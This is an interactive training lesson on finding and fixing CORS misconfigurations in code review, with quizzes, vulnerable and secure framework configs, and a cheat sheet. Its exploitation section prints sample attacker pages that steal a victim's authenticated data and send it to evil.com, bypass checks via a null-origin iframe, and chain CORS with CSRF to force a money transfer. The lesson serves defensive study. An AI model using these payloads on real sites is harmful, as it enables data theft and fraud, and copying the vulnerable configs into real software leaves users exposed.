01 //What is CORS and Why Does It Matter?
Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls which websites can make requests to your API. The Same-Origin Policy (SOP) blocks cross-origin reads by default—CORS is the mechanism servers use to selectively relax this restriction. When misconfigured, CORS lets attackers steal sensitive data from authenticated users.
1// VULNERABLE: reflects any Origin header
2app.use((req, res, next) => {
3 res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
4 res.setHeader('Access-Control-Allow-Credentials', 'true');
5 next();
6});In this example, the server blindly reflects whatever Origin header the browser sends. Combined with Access-Control-Allow-Credentials: true, any malicious site can make authenticated requests and read the response—effectively bypassing the Same-Origin Policy entirely.
Why is the Same-Origin Policy important for web security?
02 //CORS Headers Deep Dive
CORS is entirely controlled by HTTP response headers. Understanding each header is critical for both identifying misconfigurations and implementing secure policies. The most security-sensitive headers are Access-Control-Allow-Origin (ACAO) and Access-Control-Allow-Credentials (ACAC).
Key CORS Response Headers
| Header | Purpose | Security Concern |
|---|---|---|
| Access-Control-Allow-Origin | Which origins can read the response | Wildcard (*) or reflected origin allows broad access |
| Access-Control-Allow-Credentials | Whether cookies/auth are included | true + permissive ACAO = credential theft |
| Access-Control-Allow-Methods | Allowed HTTP methods for preflight | Overly broad methods enable state-changing attacks |
| Access-Control-Allow-Headers | Allowed custom request headers | Wildcard removes preflight protection |
| Access-Control-Expose-Headers | Which response headers JS can read | Exposing auth/token headers leaks secrets |
| Access-Control-Max-Age | Preflight cache duration in seconds | Long cache delays policy change propagation |
Access-Control-Allow-OriginSpecifies which origins can access the resource. A wildcard (*) allows any site to read the response.
https://trusted.com*Using * with credentials, or reflecting any Origin without validation, lets attackers read authenticated responses.
Which combination of CORS headers creates the most dangerous misconfiguration?
03 //Common CORS Misconfigurations
Most CORS vulnerabilities fall into a few recurring anti-patterns. During code review, learning to quickly spot these patterns is essential.
1// VULNERABLE: Reflects any origin
2app.use(cors({
3 origin: (origin, callback) => {
4 callback(null, origin); // Always reflects the caller's origin
5 },
6 credentials: true
7}));Origin header with credentials enabled is equivalent to disabling the Same-Origin Policy. Any malicious website can steal authenticated data.1# VULNERABLE: Allows the null origin
2CORS_ALLOWED_ORIGINS = [
3 "https://app.example.com",
4 "null", # Sandboxed iframes, data: URIs send Origin: null
5]
6CORS_ALLOW_CREDENTIALS = Truenull origin is sent by sandboxed iframes, data: URIs, and local files. An attacker can craft an iframe with sandbox="allow-scripts" to send an Origin: null header, bypassing the allowlist.1// VULNERABLE: Substring match is bypassable
2app.use(cors({
3 origin: (origin, callback) => {
4 if (origin.includes('example.com')) {
5 callback(null, true);
6 }
7 },
8 credentials: true
9}));
10// Bypassed by: evil-example.com, example.com.evil.com1// VULNERABLE: Regex not anchored
2const allowedPattern = /example\.com/;
3if (allowedPattern.test(origin)) {
4 res.setHeader('Access-Control-Allow-Origin', origin);
5}
6// Bypassed by: notexample.com, example.com.evil.com1// MISCONFIGURED: Browsers block this combination
2app.use(cors({
3 origin: '*',
4 credentials: true // Ignored by browsers, but reveals poor understanding
5}));An application checks origins with: origin.endsWith('.example.com'). Which malicious domain bypasses this check?
Match CORS misconfigurations to their bypass techniques
Connect each misconfiguration pattern to the technique an attacker would use to exploit it
Sources
Data flow
Sinks
04 //Code Review Patterns
When reviewing code for CORS issues, search for specific patterns across different frameworks and languages. The vulnerability is always in how the server sets the Access-Control-Allow-Origin response header.
What to Search For in Code Review
| Framework | Search Pattern | Risk |
|---|---|---|
| Express/Node | cors(), setHeader('Access-Control') | Check origin callback or config |
| Django | CORS_ALLOWED_ORIGINS, django-cors-headers | Check for CORS_ALLOW_ALL_ORIGINS = True |
| Flask | @cross_origin, CORS(app) | Check origins parameter |
| Spring Boot | @CrossOrigin, CorsConfiguration | Check allowedOrigins for * |
| ASP.NET | AddCors, WithOrigins | Check AllowAnyOrigin() |
| Nginx | add_header Access-Control-* | Check for $http_origin reflection |
| Apache | Header set Access-Control-* | Check .htaccess rules |
1// VULNERABLE: Dynamic origin without validation
2app.use(cors({
3 origin: (origin, callback) => {
4 // No allowlist check — blindly trusts any origin
5 callback(null, origin);
6 },
7 credentials: true
8}));1# VULNERABLE: Allows all origins
2CORS_ALLOW_ALL_ORIGINS = True # or CORS_ORIGIN_ALLOW_ALL = True
3CORS_ALLOW_CREDENTIALS = True1# VULNERABLE: Reflects origin without validation
2location /api/ {
3 add_header 'Access-Control-Allow-Origin' $http_origin always;
4 add_header 'Access-Control-Allow-Credentials' 'true' always;
5}1// VULNERABLE: Allows all origins
2@CrossOrigin(origins = "*", allowCredentials = "true")
3@GetMapping("/api/user/profile")
4public UserProfile getProfile() {
5 return userService.getCurrentProfile();
6}In an Express.js app, you find: app.use(cors({ origin: true, credentials: true })). Is this secure?
05 //Exploitation Techniques
Understanding how attackers exploit CORS misconfigurations helps security reviewers assess the real impact during code review.
1<!-- Attacker hosts this on evil.com -->
2<script>
3 fetch('https://vulnerable-api.com/api/user/profile', {
4 credentials: 'include' // Sends victim's cookies
5 })
6 .then(r => r.json())
7 .then(data => {
8 // Exfiltrate stolen data to attacker's server
9 fetch('https://evil.com/collect', {
10 method: 'POST',
11 body: JSON.stringify(data)
12 });
13 });
14</script>1<!-- Origin: null bypass using sandboxed iframe -->
2<iframe sandbox="allow-scripts" srcdoc="
3 <script>
4 fetch('https://vulnerable-api.com/api/secrets', {
5 credentials: 'include'
6 })
7 .then(r => r.text())
8 .then(data => {
9 // Send to parent or external server
10 parent.postMessage(data, '*');
11 });
12 </script>
13"></iframe>1<!-- Step 1: Read CSRF token via CORS -->
2<script>
3 // First, steal the CSRF token from a CORS-misconfigured endpoint
4 fetch('https://bank.com/api/csrf-token', { credentials: 'include' })
5 .then(r => r.json())
6 .then(data => {
7 // Step 2: Use token to perform state-changing action
8 fetch('https://bank.com/api/transfer', {
9 method: 'POST',
10 credentials: 'include',
11 headers: {
12 'Content-Type': 'application/json',
13 'X-CSRF-Token': data.token
14 },
15 body: JSON.stringify({
16 to: 'attacker-account',
17 amount: 10000
18 })
19 });
20 });
21</script>A server sets Access-Control-Allow-Origin: * without Access-Control-Allow-Credentials. Can an attacker steal authenticated user data?
06 //Secure CORS Configuration
Secure CORS configuration follows a principle of least privilege: only allow the specific origins, methods, and headers that your application actually needs.
1// SECURE: Explicit allowlist with strict matching
2const allowedOrigins = new Set([
3 'https://app.example.com',
4 'https://admin.example.com',
5]);
6
7app.use(cors({
8 origin: (origin, callback) => {
9 // Allow requests with no origin (e.g., mobile apps, curl)
10 // only if appropriate for your use case
11 if (!origin || allowedOrigins.has(origin)) {
12 callback(null, origin);
13 } else {
14 callback(new Error('Not allowed by CORS'));
15 }
16 },
17 credentials: true,
18 methods: ['GET', 'POST'],
19 allowedHeaders: ['Content-Type', 'Authorization'],
20 maxAge: 600 // 10 minutes
21}));1# SECURE: Explicit origin allowlist
2CORS_ALLOWED_ORIGINS = [
3 "https://app.example.com",
4 "https://admin.example.com",
5]
6CORS_ALLOW_CREDENTIALS = True
7CORS_ALLOW_METHODS = ["GET", "POST", "OPTIONS"]
8CORS_ALLOW_HEADERS = ["content-type", "authorization"]1# SECURE: Map-based origin validation
2map $http_origin $cors_origin {
3 default "";
4 "https://app.example.com" $http_origin;
5 "https://admin.example.com" $http_origin;
6}
7
8location /api/ {
9 add_header 'Access-Control-Allow-Origin' $cors_origin always;
10 add_header 'Access-Control-Allow-Credentials' 'true' always;
11 add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS' always;
12
13 if ($request_method = 'OPTIONS') {
14 add_header 'Access-Control-Max-Age' 600;
15 return 204;
16 }
17}- Use an explicit allowlist of trusted origins—never reflect the Origin header.
- Never allow the
nullorigin in your allowlist. - Avoid wildcard (*) for origins when credentials are needed.
- Validate origins with exact string matching—not substring or unanchored regex.
- Restrict methods and headers to only what your API requires.
- Set a reasonable
Max-Age(10–60 minutes). - Test your CORS policy with curl using different Origin headers.
1# Test if the server reflects arbitrary origins
2curl -s -D - -o /dev/null \
3 -H "Origin: https://evil.com" \
4 https://api.example.com/user/profile
5
6# Check for: Access-Control-Allow-Origin: https://evil.com
7# If present with Access-Control-Allow-Credentials: true → VULNERABLE
8
9# Test null origin
10curl -s -D - -o /dev/null \
11 -H "Origin: null" \
12 https://api.example.com/user/profileWhat is the most secure way to validate origins in a CORS configuration?
07 //Summary Cheat Sheet
CORS Misconfiguration Patterns
| Pattern | Example | Risk Level |
|---|---|---|
| Origin reflection + credentials | ACAO: <reflected> + ACAC: true | Critical |
| Null origin allowed | ACAO: null + ACAC: true | High |
| Weak regex validation | /example\.com/ (unanchored) | High |
| Substring origin check | origin.includes("example.com") | High |
| Wildcard with sensitive data | ACAO: * on internal API | Medium |
| Overly broad methods | ACAM: GET, PUT, DELETE, PATCH | Medium |
| Exposing sensitive headers | ACEH: Authorization, X-API-Key | Medium |
Red Flags in Code Review
| What to Look For | Example |
|---|---|
| Origin header reflection | res.setHeader("ACAO", req.headers.origin) |
| cors({ origin: true }) | Express cors middleware reflecting all origins |
| CORS_ALLOW_ALL_ORIGINS | Django setting that allows all origins |
| @CrossOrigin(origins = "*") | Spring Boot wildcard annotation |
| $http_origin in Nginx | Nginx reflecting Origin without map validation |
| "null" in allowlist | Allowing the null origin for sandboxed contexts |
| Unanchored regex | Regex without ^ and $ anchors for origin check |
Secure Configuration Checklist
| Control | Implementation |
|---|---|
| Explicit origin allowlist | Use a Set/Map of exact origin strings |
| No null origin | Never include "null" in allowed origins |
| Credentials only when needed | Only set ACAC: true if cookies are required |
| Minimal methods | Only allow GET, POST unless PUT/DELETE is needed |
| Minimal headers | Only allow Content-Type and Authorization |
| Reasonable cache | Set Max-Age to 600–3600 seconds |
| Test with curl | Verify no origin reflection with arbitrary Origin header |
Final Challenge: Fix the CORS Misconfiguration
This Express.js server has multiple CORS security issues. Identify the best fix.
Vulnerable Code:
const express = require("express");
const app = express();
app.use((req, res, next) => {
const origin = req.headers.origin;
// Allow any origin that contains our domain
if (origin && origin.includes("myapp.com")) {
res.setHeader("Access-Control-Allow-Origin", origin);
} else {
// Fallback: allow null origin for local development
res.setHeader("Access-Control-Allow-Origin", "null");
}
res.setHeader("Access-Control-Allow-Credentials", "true");
res.setHeader("Access-Control-Allow-Methods", "*");
res.setHeader("Access-Control-Allow-Headers", "*");
res.setHeader("Access-Control-Expose-Headers", "Authorization, X-API-Key");
next();
});
app.get("/api/profile", (req, res) => {
res.json({ name: "John", email: "john@example.com", ssn: "123-45-6789" });
});Choose the best approach to fix this vulnerability: